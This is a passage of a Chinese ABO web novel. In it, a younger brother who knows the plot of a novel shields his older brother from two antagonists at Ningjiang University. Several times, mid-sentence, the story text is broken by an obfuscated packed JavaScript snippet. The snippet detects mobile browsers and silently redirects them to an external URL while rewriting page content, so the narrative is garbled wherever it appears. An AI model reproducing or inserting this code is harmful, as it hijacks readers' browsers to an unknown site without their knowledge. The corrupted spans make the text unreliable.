“哥哥我好饿啊,”裴宁也不提刚才医生说的那些事,掰着手指开始数,“我就吃了两片面包,现在都快晚上了,我真饿的前胸贴后背了。” 裴亦舟揉了揉裴宁的后脑勺:“回家我给你做,想吃什么?” “我记得冰箱里还有一条鲥鱼,给你炖个汤怎么样,如果这个不想吃的话,也可以煎牛排。” 哥哥怎么这么温柔,裴宁再次感慨。 他一想到《绝对占有》那本书里的内容就气不打一处来,在那些剧情里,哥哥这么好的人被他们逼成了人人退避三舍的疯子。不仅如此,那些人还对哥哥存了非分的肖想,虽然最后他们都没能成功,甚至下场凄惨,但裴宁还是觉得恶心。 非常恶心。 哥哥这样优秀的omega就应该找一个对他好到无微不至的恋人,而不是被那些眼高于顶的自大狂和法外狂徒纠缠不清。 “我都要吃,”裴宁拖长语调开始撒娇,“过几天就吃不到了,哥你能不能在家多留几天陪陪我啊。” 这一套裴宁熟得不行,简直信手拈来。 “好啊,那我就晚几天回去吧。”裴亦舟百依百顺,“今天医生说你要多和信息素接触,那等到开学了,就来和哥哥一起住吧。” 裴宁眼前一亮,点了点头。 有关信息素接触这事裴宁和裴亦舟打了商量,让他先别告诉爸妈。 裴宁套着他的卡通猫猫头睡衣坐在裴亦舟房间的床尾,义正言辞:“哎呀哥哥你就想嘛,这个事情你说的话也没别的解决办法,不如不说,省 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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这事以前裴宁干多了,现在也不觉得哪里不对劲,只是在心里默默复盘《绝对占有》小说里的关键情节。 也不知道为什么,裴亦舟当晚过了好长一段时间才上床。 裴宁弓起身,感觉自己完全被木兰花的香气包裹,几乎是下意识的,他又朝裴亦舟靠近了一点。 “小宁。”裴亦舟忽然开口。 “怎么啦?” “稍微过去点,”裴亦舟的声音比平时哑了点,“你快睡到枕头缝里去了。” “哦哦,我都没注意。”裴宁往后挪了点,也不知道是不是他的错觉,他总觉得这被子里的温度稍微高了点。 他年轻,本来火气就旺,于是索性侧过身伸了半条腿露被子在外面。 裴宁这头窸窸窣窣地调整着姿势,像是被蒙进了被子的小猫,一刻不停地发出细小声响,直到找到最舒服的位置才会停下来。 裴亦舟闭了闭眼,不动声色地释放出信息素,他估算着,觉得这样浓度的信息素已经足够,随后抽开了床头柜,拿出了一条信息素阻隔贴。 他撕开阻隔贴背后的薄膜,按压着贴在后颈上。 躁动的热意依旧蔓延,却被阻隔贴强制镇压,这样的热度比起平时更甚,像是某种时期到来之前的暗示。 属于裴宁的呼吸声已经逐渐平稳,裴亦舟伸手,很轻地碰了碰他的脸。他视力极佳,哪怕是在黑暗中也能看清裴宁五官的轮廓。 裴宁睡着的时候脸看起来很乖,比起平时阳光明媚模样更多了几分沉静,他嘴唇微张,嘴里还在迷迷糊糊地呢喃着什么,裴亦舟听不清,后颈的热意却越发鲜明。 易感期。 裴亦舟轻啧了一声,这真是个麻烦的东西。 5. 全自动人渣 在裴宁的要求下,裴亦舟在家里多留了一周时间。他许久不回来,但房间依旧干净整洁,偶几个角落还被裴宁添上了些小摆件。 他不在家,但房间却是活的,每次回来都会遇上不同的惊喜。 至于这些小玩意的来源,那就多样了。 裴宁高考刚结束那段时间没闲着,和戚栩那几个朋友商量了一番,风风火火地出门旅游了。每到一个新地方,裴宁都想着要给家里人带点什么。那些小玩意不贵重,但在他看来很有纪念价值。 碎石块做成的手串,金刚鹦鹉羽毛做的升级版捕梦网,长相滑稽的羊毛毡摆件......其中有一次裴宁正在草原上骑马,戚栩从旁边溜达着过来问他这次要带点什么,裴宁思索了一会儿,甚至想直接搬头牛回去。 戚栩险些摔下马,直骂他有毛病,裴宁不忿——那牛肉真的很好吃,他就是想给哥哥尝尝而已。 七天倏忽而过,等到要离开了,裴亦舟敲敲门进了裴宁房间,往他手里塞了一个小盒子。 裴宁打开,里面赫然是一个特制的玻璃器皿 容器大概拇指大小,透明的玻璃里头装着些晃荡的液体,每次涌动都向外散发着属于木兰花的清香。 这是裴宁仅有的,能够闻到的信息素。是裴宁绝不会认错的气味。 “哥......” 裴宁瞬间哽住,他太清楚这是什么了。 裴亦舟对他说谎了。 明明说好了不要去抽信息素提取液,但最后还是背着他去了。 看着裴宁的眼圈瞬间变红,看起来可怜兮兮的,裴亦舟伸手抱了抱裴宁,“医生说要戴在身上,这样效果最好。” “别担心,不痛的。” 裴宁抿着唇不说话。事情都发生了,他伤心生气也没用。那些乱七八糟的情绪最后倒腾在一块儿,全都变成了心疼。 他小心盖上盒子,抵在裴亦舟肩上紧紧回抱,目光里只剩哥哥阻隔贴下通红的后颈。 阻隔贴上的猫猫头仍是笑着的,但裴宁现在却笑不出来。 浅棕的发梢有点颓丧地搭在裴亦舟脖子上,裴宁薄而红的眼皮上抬,那双裹满了水雾的眼睛像是玻璃珠一样透亮。 他话语直白,哑着嗓子说出口的就是眼下最大的愿望,“哥哥,你在宁江也要照顾好自己,我很快就来找你了。” * 宁江。 地下拳场的灯光明灭,最后定格在一个极为耀目的亮度。白色的灯光落下,圈出了拳场中心的区域,而那里此时正站着一个人。 一个披着黑色风衣的男人从通道的拐角处走出来,他好整以暇地看着拳场中央大汗淋漓的男人,面上笑容玩味。 “怎么练这么狠?”男人问。 黑发随着拳击动作甩动,尾端已经被全然打湿。汗珠顺着他的额角滑开,平日总被规整的放在鼻梁上的眼镜此时不知所踪,取而代之的是一个上了锁扣的金属止咬器。 裴亦舟此时只穿了一件黑色无袖背心,几下响亮的“砰砰”打击声后,他摘下拳套侧过身,喘着气看向来人,一双深瞳凌厉而冷淡,眼中尚未褪去的狠意让人有些不寒而栗。 “我还当你为什么那么早回来呢,原来是易感期到了。”男人见状不紧不慢地脱下外套挂在一旁的衣架上,语气唏嘘。 裴亦舟拧开矿泉水瓶,直接从自己的头顶浇下,高热的温度稍有下降,但仍是没有大的变化。 “你来这里做什么,”裴亦舟语气很淡,和对待裴宁时的温柔截然不同,“裴家那头难道很闲吗,三天两头乱晃。” 这里的场馆是专门给裴亦舟度过易感期使用的,因此这个alpha此时对信息素的释放完全不加以压制,几乎是到了肆无忌惮的地步。 男人微微皱了皱眉,像是有点受不了那么高浓度的顶A信息素。 这就好比将人放进了液压机,正常人有几个受得了这样的信息素压制的? “裴家那头没大事,我都看着呢,倒是你,抑制剂不起作用了?怎么这次易感期信息素这么冲,我出门前可喷了三层阻隔剂呢,现在心里头都发虚。” 裴亦舟垂眸,休息过后又重新将拳套戴上:“我取了点信息素提取液。” “你......”男人失语,精致的面容上满是错愕,“你疯了吗?你在注射那种药,以前那样强度的易感期你是还嫌不够吗?怎么敢做这样的事?” 裴亦舟不以为意,并且不打算改正:“已经做了,还有下次。” 男人彻底无语了,他知道裴亦舟什么脾气,一但认定了一件事,那就绝对没有回头的余地。 明明年纪不大,但是那说一不二的模样倒是吓人得很。 “算了,随你。那你再练会儿吧,等会儿打抑制剂疼晕了我可不管你,”男人说着又想到什么,“我说......你那样不会是为了你枫京那个弟弟吧?” “不该问的少问。”裴亦舟冷冷道,“看完就走,需要我提醒你吗,我现在还在压制信息素。” 男人闻言脊背一震,直接站起了身,“行行行我走,你自己注意点,有事叫医生。你要的人我都安排好了,联系方式你都知道的,我就不多说了。” 他说完,拿起外套就跨出了门,活像后头有什么猛兽在追。 裴亦舟看着那人近乎落荒而逃的模样嗤笑了一声,没多言语。 地下拳场回归安静,他垂首,饱满的汗珠顺着肌肉的线条往下流,带着浓重的信息素气味。 它直直下坠,在地上溅开了一道水痕。 上一次注射的抑制剂正在血液中缓慢的被代谢干净,覆在信息素之外的那一层薄膜逐渐消失。挂在墙上的时钟嘀嗒转动,裴亦舟的信息素浓度忽然又上了一个台阶,并不知不觉地变了味道。 那信息素不再清淡、香甜,反而微微泛着苦。 如果知道自己是这个味道,小宁还会喜欢吗? 会喜欢的吧。 好像不论自己是什么样,他都会用那充满亲近、保护欲的眼神看自己。 那样的感觉真是......太爽了。 裴亦舟这么想着,右臂肌肉轻动,猛力挥出一拳。 早已不堪重负的沙袋瞬间被打裂开了一道口子,砂砾锯末顷刻间沙沙淌出,一时之间满地狼藉。 * 暑假的时间过得很快,转眼就到了开学的时间。 宋月黎一想到儿子要去那么远的地方上学,多少还是心焦,晚上觉都睡不安稳,翻来覆去叹气。 裴松墨刚从外面回来,坐在床边低声安抚她:“裴家本家就在宁江呢,我也和那边的人打过招呼了,小宁有什么事情他们都会帮忙的。” 宋月黎哼了声,转过身:“你还说裴家呢,他们一家子人太多太乱,就是个是非之地,当初就想让亦舟别回去算了,谁知道他们这俩小孩现在一个两个都往宁江跑。” “你说的我都清楚,”裴松墨叹了口气,但面上仍是从容,“他们俩背后不还有我们吗,你放宽心,孩子总是要长大的。” 房门之外,裴宁彻底结束了钢琴课程,顺道还从林夏那学了点吉他,收拾行李的时候把大大小小他会的乐器全部装了起来。 裴宁这行李一收拾就是好几天,而在他快要出发的时候戚栩也来了一趟。 这么长时间过去,戚栩已经对他要去宁江上学这件事接受良好。 “其实我还是不懂,留在枫京不挺好吗,你看看裴叔,前段时间文书下来了,现在简直是高升!外头多少人想进你家门还进不来呢,都挤破头了。”戚栩坐在窗边的地毯上絮絮叨叨。 裴宁头也没抬:“老留在一个地方多没意思,再说了,我哥一个人待在宁江多孤单啊,我过去正好和他做个伴。” “我哥我哥~”戚栩故意做作地重复,“你每天就知道你哥。” “就这样怎么你了,别念叨我了,到时候我从宁江回来给你带礼物,怎么样?”裴宁把T恤叠好放进行李箱。 宁江纬度比枫京低了很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15077735|163406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多,气温高的令人咋舌,不过这倒方便了裴宁理行李,大件的衣服完全用不上。 戚栩也算是枫京的小少爷,平时要什么没有,从不缺给他送礼的人。不过裴宁送的还是不大一样,毕竟裴宁的家世身份摆在那,别人没法比。 “对了,你贴信息素阻隔贴了吗?” “没啊,夏天贴那玩意多热啊,闷得慌,我就喷了点阻隔剂。不对啊,你不是闻不到吗?”戚栩有点意外。 他十六岁就分化成了alpha,现在早就习惯了自己信息素的气味。 裴宁摸了摸鼻子:“就是闻不到才要提醒你,你记得收着点alpha的味儿,我回头是要去找我哥的,他最不喜欢alpha信息素了,你别给我衣服熏坏了。” 戚栩这下没辙了,索性找了块洗脸巾打湿挂在了后颈上,他小声吐槽:“真有够讲究的。”绝望的哥控! 他和裴宁不一样,最后还是选择留在了枫京读书,大学里报的专业也听从了家里的安排。毕竟父辈的荫蔽就在这,他以后想要做什么都方便。 但说实话,裴宁对那些都不关心,他想要学生物医学纯粹是喜欢,以后也不一定非要当医生,说不定改天就找个乐团弹琴去了也不好说。 至于宁江—— 飞机在云层中勾画出轨迹的形状,属于日落的光线橙黄温暖,映在裴宁眼底的是机翼下的云层,是一点点放大的陌生城市。 从滑翔到停止,从居住了十几年的家飞往全然位置的地域,裴宁接受良好,拖着行李箱在人群中准确找到了裴亦舟的身影。 挂在脖子上的玻璃吊坠在T恤里头晃荡,裴宁心情愉悦地坐上了哥哥的车,并把自己从枫京带来的大包小包全部塞进了裴亦舟的新公寓。 裴宁很喜欢收拾,也喜欢装饰摆放。裴亦舟的公寓里头东西本来不太多,但当裴宁把东西往里一放,空间就瞬间满涨起来,生活气息都浓郁了不少。 “这房子位置真好啊,能在这里看风景心情都变好了。”裴宁坐在落地床边吃裴亦舟刚切好的橙子,外头正是宁江的主干道,沿河灯光闪烁,看起来繁华异常。 裴亦舟温和地听他说话,嘴角带着笑。他就是知道裴宁会喜欢,才特地从原先的公寓搬到了这里。 “哥哥,明天陪我去报道怎么样?”裴宁问。 虽然他决定住在校外,但学校的寝室也没有退,万一平时有什么不方便,他也能去寝室里稍微休息一下。更何况报道是每个新生都必须去的,裴宁自然也不例外。 裴亦舟没异议,专门腾出了时间,第二天准时和裴宁到了宁江大学。 宁江大学历史悠久,并且坐落在经济发达的宁江,校内各项设施和楼房也崭新壮观。 相较于其他新生的大包小包,裴宁倒是一身轻松。 不过也不知道是不是爸爸打了什么招呼,今早宁江大学的副校长还专门打电话来和他打招呼。裴宁想了半天才记起来这是小时候见过的一个叔叔。 他无法,只好委婉地强调了一遍自己不需要特殊待遇,只当个普通学生就好。 报道的流程其实挺简单,裴宁领完东西就准备和裴亦舟一起去寝室放书。 路上人来人往,经过操场的时候人声更是嘈杂。 “那边在干什么呢,我们去看看。”裴宁第一天上大学,对所有事物都充满了好奇心。 而等到他走近才发现,操场这里正是社团招新的现场。 这时,一道清亮活泼的声音插了进来:“同学,要不要加入我们‘宁江乐团’啊,福利很好的呦!” 裴宁回头看去,说话的是一个看起来很可爱秀气的男生,他身量不高,穿着一身招新服装,满面笑意,很容易让人产生主动亲近的想法。 但让裴宁注目的并不是他的外表,而是他胸前的身份牌。 【宁江乐团:大提琴手越思易】 裴宁下意识抿了抿唇,他心道: 都不用他去找,第一个人渣这不就自动出现了吗。 6. 狗皮膏药 裴宁的神色一下警惕起来,他现在对《绝对占有》那几个人名和剧情可以说是如数家珍,而越思易就在其中。 他是学校乐团的成员,也算半个负责人,比裴亦舟低一届。 当初裴亦舟因为擅长小提琴被拉着加入乐团,于是就和越思易产生了交集。两人虽然不熟络,但关系不差,算个点头之交,一直以来相安无事。 但后来越思易喜欢上了一名新加入的alpha,而那个alpha又正好对裴亦舟有心思。不仅如此,alpha仗着家世优渥,毫不掩饰的自己的心思,多番高调追求,而结果就是他在裴亦舟那屡屡受挫,越思易则在他那碰一鼻子灰。 这狗血的剧情,裴宁闭眼都能猜到后头的走向。 越思易对这种情况自然是又气又恼,他和裴亦舟都是omega,但裴亦舟就是处处比他优秀。 于是他气不过,在某次乐团聚会上故意给裴亦舟递了一杯下药的饮料。裴亦舟被其中的药引得发情期提前,险些被陌生的alpha标记,并且因为那杯掺了药的饮料进了医院。 发情期的omgea大多脆弱,他们的思绪会被有关交/配的欲望充斥,除了想要被占有不做他想。 进入发情期的omega几乎可以说是没有任何反抗余力的小绵羊,只能任人宰割。 也不知道越思易是不是有意挑选时机,正是因为裴亦舟这一大段时间的缺席,导致他那刚起步的公司错失了一个大订单。 裴宁把这些剧情在脑子里飞速过了一遍,心里咬牙切齿,面上却若无其事地问:“只要会乐器就可以加入吗?” 越思易上午在这招呼了好久,被人拒绝了不知道多少次,但这会儿笑容还是甜甜的:“是的哦,只要会一样乐器就可以加入啦。” 他说话时看着裴宁,余光正好扫到了裴宁身后神色淡淡的裴亦舟。 “裴学长?你今天也在学校啊。”越思易看起来挺热情,但裴宁却觉得他笑意不达眼底。 裴亦舟点头,没有多说,他在外面本来话就不多,身边的人也都习惯了。 “好久没在学校见过学长了,我听说学长创业去了,好厉害啊,也不知道下次演出还能不能见到学长。”越思易一口一个学长,听得裴宁莫名别扭。 “有空闲会来。” “哥哥你也是乐团的人吧,我记得以前听你提过。”裴宁说。 越思易在听见裴宁称呼裴亦舟为“哥哥”时眼睛睁大了一瞬。 “嗯,以前加入的。要不要再去那边看看吧。”裴亦舟提议。 哥哥看起来并不想让自己加入,裴宁敏锐地感知到。如果是别的事情他都可以听哥哥的,只可惜这件事他必须做。 裴宁摇了摇头,一脸坚定:“要是让林老师知道了我放着乐团不参加去别的地方,怕是要和我生气了。” 他说着转过脸对越思易说:“学长,我要加入,请问需要填什么单子吗?” “这个,只要填一下姓名学号学院和会的乐器就行。”越思易马上拿出了一张登记表格。 裴亦舟接过裴宁手里的书,裴宁填完表格,顺便加上了乐团的微信群。 离开时裴宁思索着未来的剧情,单是要挡掉聚会上那杯酒是很容易的,只要随便出一个小岔子,那杯酒就落不到裴亦舟手里。但他担心越思易那一次不成功还要换另外方式算计裴亦舟,而这件事几乎是必然的。 要如何从根源上解决问题呢? 他想事情的时候眉心会不自觉皱起来,裴亦舟稍稍低头,柔声问他:“想什么呢,这么专心。” “没,我就是想刚才那个学长......”裴宁话音刚落,就觉得身边的人影顿了顿。 裴亦舟眉目还是温润,但语气里却带上了一点酸丝丝的意味:“你怎么一见他就笑得那么开心。” 他知道裴宁以后会分化成alpha,但看着他这么对其他omega笑,心里还是忍不住吃味。 为什么要看其他人呢?只看他不好吗。 “哥哥你想到哪里去了,”裴宁一凛,“我就是觉得乐团挺有意思的,一进学校就能遇上也是缘分。好啦,我们快点去寝室吧,虽然不用住校但还是要收拾一下的。” 裴宁在裴亦舟身边的时候话总是很多,细细碎碎的话题拼凑在一块儿,听起来竟然也别样和谐。 而就在这时,乐团那边的人群却传来一声骚动。 裴宁转过身,就看见一群人簇拥着一个青年站在越思易身前像是在问什么问题,时不时传出一些笑声。 站在人群之外,裴宁只看见越思易脸红的厉害。 这群人说话声音不小,裴宁依稀听见了几声“邱公子”“邱氏集团”之类的声音。 人群中央的青年嘴角高扬,拿起笔在纸上随手写了几下,随后将填好的单子塞到了越思易手里,“喏,这就完成了吧。” “嗯,好了。”越思易低着头,手忙脚乱地把单子往摊位上放。 青年看着他这幅样子觉得别有趣味,当即用舌尖顶了顶腮帮子,一脸混不吝。身边的人散开了些,他侧脸瞥过来,视线不偏不倚地落在了裴亦舟脸上。 这一眼过后青年的神色瞬间变得玩味起来,而当他想要细细再看看的时候,一道人影不识趣地踏出,将他的视线挡了个干净。 什么人这么碍事? 邱方明眯了眯眼,轻佻而不愉地对上了裴宁。 也不知道这么回事,他竟觉得那道目光里充满了鄙夷。 这里可是宁江,在这里谁敢用这种眼神看他这个邱家的大少爷? 邱方明原先只有三分的兴趣这下变成了七分,他回头问越思易:“他们也是乐团的成员吗?” 从越思易那得到了肯定答案的邱方明低低哼笑了一声,身边的狗腿子立马凑过头问他怎么了。 “刚开学第一天就见着对胃口的人,这难道不有趣吗?”邱方明恶劣道。 “谁啊,竟然能入邱少的眼!” 邱方明抬了抬下巴,兴致盎然:“那个,这种样式的很久没见过了。” 这头的邱少爷被狗腿子簇拥着,眼神却落在不远处离开的人的背影上,像是跗骨之蛆,恶心而粘腻。 身边人早就和邱方明打成一片,看见这眼神就知道他心里打的是什么盘算,因而心照不宣地低声哄笑起来。 “小宁,怎么走这么快。” “我,我脚底痒,我们走快点,让我摩擦一下。”裴宁拉着裴亦舟闷头往前走,恨不得一秒远离那是非之地。 “可是......” “哥哥你快点,这书拿在手里怪沉的。” 裴亦舟见状无奈一笑,站定拉住了裴宁的手:“可是这个方向不对啊,医学院的寝室在另一边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15077736|163406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” “......”裴宁石化,耳朵红了一截。 “你怎么不早说,都走这么远了。”裴宁像河豚一样刺鼓鼓道。 “你不是要摩擦一下吗。”裴亦舟低声笑着,也不多问裴宁什么,只是默默揽了一把他的肩,将人改道到了正确的方向。 裴宁也是被自己蠢笑了,这么一打岔之后反而松了神,不再那么紧张兮兮。 他刚才一听到“邱”这个姓氏就觉得不对,果不其然,那人就是书里对裴亦舟死缠烂打的世家少爷,邱方明。 裴宁叹气,真是福无双至祸不单行,这进校门还没多久呢,反派角色都碰上两个了。 对于那个邱方明裴宁倒是不怵,邱家虽说在宁江有点名气,但在裴宁看来却算不上太大的麻烦,毕竟他就是枫京来的,宁江这里的人再厉害,地位手段权势还能高过枫京不成? 不就是以权压人么,别人喜欢做,他也不是不能反击。 只是邱方明这人像狗皮膏药,要是被他看上,那真是甩也甩不掉。 裴宁白天这么想,晚上果真一语成谶。 他看着裴亦舟手机上邱方明发来的好友申请,忿忿地点了“拒绝”,最后还附带了一个永久拉黑。 “哥哥,要是有什么莫名其妙的alpha来打扰你,你都不要理会,我来帮你解决。”裴宁自告奋勇。 裴亦舟对此自然没有异议,在裴宁把手机还给他之后甚至没多看一眼。 “哥哥我问你个事。” “你说。”裴亦舟从电脑前抬起头。 “你现在和裴家有联系吗,我是说宁江这边的人。” 裴亦舟沉默了一会儿,半晌才回道:“见过几次面,不太熟。” 如今裴家的掌权人是裴亦舟的亲爷爷,裴城甫。 裴宁在很小的时候见过他,他知道这个老头子是个不折不扣的顽固,极其看重性别,把alpha子孙当宝贝一样捧起来,对omega则是看都不看一眼。 裴城甫共有三个孩子,其中因病早逝的大儿子裴渡就是裴亦舟的父亲。 以前发生了太多事,裴宁只记得裴亦舟刚到枫京时高烧不退,满面狼狈的模样。 大家族背后龃龉太多,裴亦舟不提,裴宁也不会主动说,反正只要他在这一天,就一定会给裴亦舟撑腰。 开学之后裴宁和裴亦舟的生活轨迹就错开了。 裴亦舟已经大四,不需要经常回学校,大部分时间都会用在工作上,而裴宁则需要每天准时准点去上课。 对此裴宁在周一早上发布了抗议,五分钟后裴亦舟用一块刚烤好的华夫饼镇压了抗议,并附带了一瓶刚榨好的鲜橙汁。 在家过皇帝的日子,出来上学了还没退位的裴宁多少有点不好意思,但裴亦舟做这些事的时候熟练又自然,裴宁下意识就全盘接受了。 周五那天课少,裴宁接到社团通知,第一次走进乐团训练的场地。 越思易作为组织者早早在那边等候,见到裴宁立马开始热情招呼。伸手不打笑脸人,裴宁知道这个道理,这会儿也没对越思易表现出多余的情绪。 可是有人能装,不代表其他人不会犯贱。 裴宁正看室内的陈设,就听见门口传来噼里啪啦一阵的脚步声,而后邱方明欠嗖嗖的声音就落了下来。 “怎么就你啊,还有一个呢?” 7. 你得罪不起 今天邱方明身边的人少了点,但还是围了几个,邱少爷一开口,那几个人就齐刷刷朝裴宁看了过来。 “我还以为今天能见到人呢,就你的话——”邱方明笑了笑,“不够带劲啊。” “我加他他怎么不回啊,别害怕啊,我又不是什么坏人。” 裴宁看着他那张略显油腻的脸恨不得直接给他来一拳,但想了想还是忍住了,只是不屑道:“你谁?” 邱方明没想到他会这么说,挑眉道:“我们昨天见过面吧。” “我脸盲,”裴宁没再多看他一眼,“很不巧,你又重复率太高。” “你!”邱方明这人沉不住气,被裴宁稍稍挑衅就要发火,但大概是周围人太多,他又顾忌着这才刚开学,所以最后还是按捺下了。 邱方明冷哼一声,他的视线扫过裴宁身上简单的穿着,“一个乡巴佬牛什么,你以为这是在哪?” 说完,他扭头就往场馆后头走,身边的狗腿子也像唱戏似的挨个盯着裴宁看。 那模样是凶狠,但人多了就不免有些好笑,裴宁憋得有些艰难,他还从没想过自己竟然会被称为乡巴佬。 这反派蠢的可以。 越思易看着这一幕颇有些为难,他想要和邱方明说话,但那人却理都不理他。 越思易无法,只好轻声和裴宁说:“你多见谅,家世好的人多少有些脾气。” 裴宁对此不置可否,只是多看了一眼越思易。 邱方明这样的alpha他都看得上,还要为此和别人大打出手,至于么,alpha又不是都死绝了。 这事只是个小插曲,几分钟之后负责乐团活动的老师到场,就开始组织着大家自我介绍。 乐团的自我介绍自然也脱不开乐器,裴宁入团的时候再表格上填的是吉他,这并不是他最擅长的乐器,但乐团对成员要求不高,只要能基础弹奏就行。 裴宁虽然只学了一个暑假,但天赋和授课老师摆在那,水平低不到哪去,放在众多成员之间倒也算是出彩。 介绍的时候台下好几个omega朝他投来目光,后来甚至还多了几个alpha。那些人目光灼灼,裴宁早已习惯这种注视,演奏完就坦然地下了台。 下来之后越思易离他最近,好奇地问:“之前没来得及问你,你是alpha吗?” 裴宁长相精致,成年之后面部轮廓的肉感消退,看起来更为立体。如果只看他的脸,很多人都会将他认作是omega,毕竟一般来说只有omega才会有那么漂亮的面孔,简直像精灵一样。 但裴宁的身高又极为出挑,肩膀也宽阔,穿着T恤站在那挺拔高挑,乍一下看上去完全是不折不扣的alpha身材,这又和那张脸生出了些矛盾,让人不敢断言。 听见越思易的问题,裴宁说:“大概吧。” “诶,为什么这么说?” “因为我还没分化,不能确定。” 得到答案的越思易陷入震惊。 一般人的分化时间都在十六七岁左右,裴宁到现在都还没分化,那也太晚了。 他倒是还想再多问几句,但裴宁已经转过脸,像是没有要多说的意思,越思易只好歇了心思。 轮到邱方明的时候,他上台表演了一段钢琴,琴声刚落,台下就响起了一阵响亮的掌声。 裴宁被吵的耳朵痛,实在是感叹这位邱少爷的浮夸,明明琴弹得也不怎么样,排场倒是做的足。 而等到老师上台介绍完乐团,裴宁才知道,原来宁江大学的乐团有大小区分,大乐团面向所有社团成员,对演奏水平没什么要求,只是给大家提供了一个可以演奏学习的平台。 小乐团就不一样了,它只吸纳拥有高水平的成员,并且还时不时会到校外进行演出比赛。不仅如此,在小乐团中取得成绩的团员还可以加学分,许多人就是冲着这一点来的。 老师说完,顺便宣布了下一次小乐团选拔的时间,社团的新生欢迎活动就算结束了。 散场的时候裴宁走得快,越思易紧赶慢赶地追了出来。 “裴宁,等等我。”越思易喘着气跟上。 虽然裴宁目前没打算做什么,但对越思易他实在没什么好脸色。 这可是未来会加害哥哥的人,他不防备着就不错了。 “有什么事?” 越思易仰起头,拿出手机:“我们俩加个联系方式吧,我看你设置了不能通过聊天群添加,所以只能来找你本人了。” 他脸有点红,说话声音也轻了:“刚才在座位上忘记了,现在才想起来。” 裴宁不好拒绝,于是答应了下来。 分别的时候越思易又多看了一眼裴宁,离开的脚步都放慢了些。 偏偏这时邱方明那一众人也从里面走了出来,越思易刚看见他就脚底抹油,一溜烟就不见了。 裴宁见状还以为是他在害羞,于是腹诽道:这越思易怎么这么快就喜欢上了,这才认识多久啊,爱情来的也太快了。 他胡思乱想着慢悠悠抬起头,却看见裴亦舟正静静站在不远处。 “结束了,今天感觉怎么样?”裴亦舟笑着问。 一见着哥哥裴宁脸上的笑容就收不住,他点点头:“很不错,哥哥你怎么来了,公司那边不忙吗?” “不忙,我们去吃晚饭吧。” 裴宁刚想答应,但就是有人要煞风景。 “你就是裴亦舟吧,我想和你认识认识,有兴趣么。”不远处的邱方明像是发现什么意外之喜,朝他们走了几步。 裴宁虽然闻不见其他人的信息素,却莫名觉得邱方明身上散发着油腻腐臭的难闻气味,转身直接挡在了哥哥身前。 “你干嘛?”裴宁冷眼看他。 邱方明抱臂:“我是找他,你在这碍什么事?” 听见来人这么说,裴宁身后的裴亦舟眼神倏然冷了下来,他朝邱方明看去,眸中没有一点情绪。 邱方明捕捉到裴亦舟的眼神,那种看垃圾的居高临下之感让他莫名有些激动,于是情绪更上了一个台阶。这个点周围的人都走光了,他说起话来更是肆无忌惮。 “你知道我是谁么?宁江邱家听过么。”邱方明一提起自己的家世,更是傲的没边。以往和他做对的人只要听到这就该夹起尾巴认错了,接下来的流程就该是认大哥,做小弟,他熟悉的不能再熟悉。 裴宁闻言从鼻腔里挤出一声不成调的哼笑。 “听倒是听过,做生意的么。” 邱方明的嘴角逐渐抬了起来。 “只不过我似乎只听过邱家有一个厉害的大少爷,没听过他们养了一条只会乱吠的狗啊。”裴宁用说笑话的语气慢吞吞说出口,邱方明原先的嘴角彻底凝滞,转而变得有些狰狞。 邱方明这个人纨绔,小小年纪就知道就知道花天酒地,但却听不得别人将他和优秀的大哥放在一起比较。 “你TM说什么,你再说一遍?”邱方明的眼睛有些下三白,这会儿上了火气,一脸凶相。 他暗自释放出大量alpha信息素 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15077737|163406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想要压制对方,开学那天过后他就打听过,知道裴亦舟是个omega,至于裴宁么,看脸就知道大概也是omega没跑。 自己的信息素那么高级,这两个omega还不得被压得两腿发软?邱方明沉浸在自己的幻想中难以自拔,但两分钟过去,空气中的信息素越发浓郁,裴宁和裴亦舟却始终像个没事人一样。 邱方明额角抽了抽,他怎么也不会想到,对面两个人一个是还没分化,闻不到信息素的alpha,一个则是货真价实的顶级alpha,他那点信息素根本不够看,手挥一挥就散了。 大概是恼羞成怒,邱方明登时将家里的叮嘱都忘了:“你怎么敢和我作对?你信不信,只要我一句话,你接下来的大学就别想好好读。” “这里可是宁江,识相的你就让开,我对你没兴趣,就是想和你后面那个omega......认识认识。”邱方明的笑容太下流露骨,他的眼神死死锁定裴亦舟,但那人却没有任何反应。 裴宁听笑了,拉着裴亦舟就想走,邱方明和他身边的人还想阻拦,却被裴宁的话语制住。 